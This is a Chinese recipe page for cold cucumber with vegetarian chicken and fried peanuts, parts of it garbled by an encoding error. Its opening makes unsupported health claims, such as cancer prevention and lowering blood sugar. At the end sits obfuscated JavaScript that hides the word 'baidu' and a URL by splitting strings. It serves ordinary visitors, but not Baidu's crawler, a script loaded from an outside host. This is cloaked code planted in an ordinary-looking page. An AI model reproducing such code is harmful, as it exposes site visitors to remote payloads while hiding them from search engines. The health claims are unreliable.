當(dāng)前位置:首頁 > 飲食 > 健康飲食 > 正文

素雞拌黃瓜怎么做?

2017-04-21 19:21:46  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:素雞拌黃瓜是一道很普遍的家常菜,它既不是油炸、也不是蒸煮,而是涼拌做成的。愛吃這道菜的人,不僅是因?yàn)樗仉u拌黃瓜的味道很清爽,還因?yàn)?

素雞拌黃瓜是一道很普遍的家常菜,它既不是油炸、也不是蒸煮,而是涼拌做成的。愛吃這道菜的人,不僅是因?yàn)樗仉u拌黃瓜的味道很清爽,還因?yàn)樗哂刑厥獾墓π?。那就是可以減肥、排毒、養(yǎng)心、降血糖、抗衰老、潤肺、促進(jìn)發(fā)育、防癌等等,可謂人類的養(yǎng)生菜。下邊我們就具體來看看這道具體怎么做吧。

主料:黃瓜1根、素雞2個(gè)、花生適量。

調(diào)料:食鹽適量、醋適量、花椒少許、干辣椒適量、生抽少許、香油少許、香菜適量、白糖適量。

做法:

1、花生用溫水泡十分鐘后剝?nèi)ゼt衣。

2、開小火,冷鍋冷油炒花生。

3、炒至顏色由透明變成發(fā)黃,聲音也較清脆時(shí),倒在吸油紙上攤冷成香脆花生米(平時(shí)可以多做些,拌上干辣椒和花椒,成麻辣花生米,即可做為下酒菜,也可做拌菜時(shí)撒上增加香酥味)。

4、黃瓜切段后,切成片。

5、素雞切片后用開水浸泡五分鐘,去除豆腥味,撈起瀝干。

6、將黃瓜片、素雞片、香菜段、紅椒段放入碗中。

7、將鹽、糖、生抽、醋、芝麻油混合均勻后淋入碗中。

8、取一湯勺,放入干辣椒段,花椒,油在爐火上加熱,出香味,辣椒和花椒稍變色后將油潷入碗中。

9、撒上脆花生米拌勻即可。

10、這是做好儲(chǔ)備的麻辣香脆嘀酒鬼花生米!

烹飪技巧:

1、食材的新鮮,不管是素菜還是肉菜,在加工前一定要新鮮

2、菜板(最好是生熟菜板分開)、刀具、拌盆、筷子、盛具都要干凈或用熱水燙過,防止細(xì)菌感染

3、食材切的大小最好一致,方便食用

4、調(diào)味汁最好先混合調(diào)勻,在吃時(shí)上桌前再淋入菜上拌勻,有些菜,特別是素菜,過早放鹽,會(huì)出較多水,口感軟蔫。

這道素雞拌黃瓜的做法,我們?cè)谏线吔榻B中也熟知了。在這里提醒大家的是,對(duì)于醋的調(diào)放大家需要注意,千萬不要放多了,要不然菜多了吃不完的時(shí)候,素雞拌黃瓜味道就會(huì)有些酸臭,十分影響菜的味道,也影響口感。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}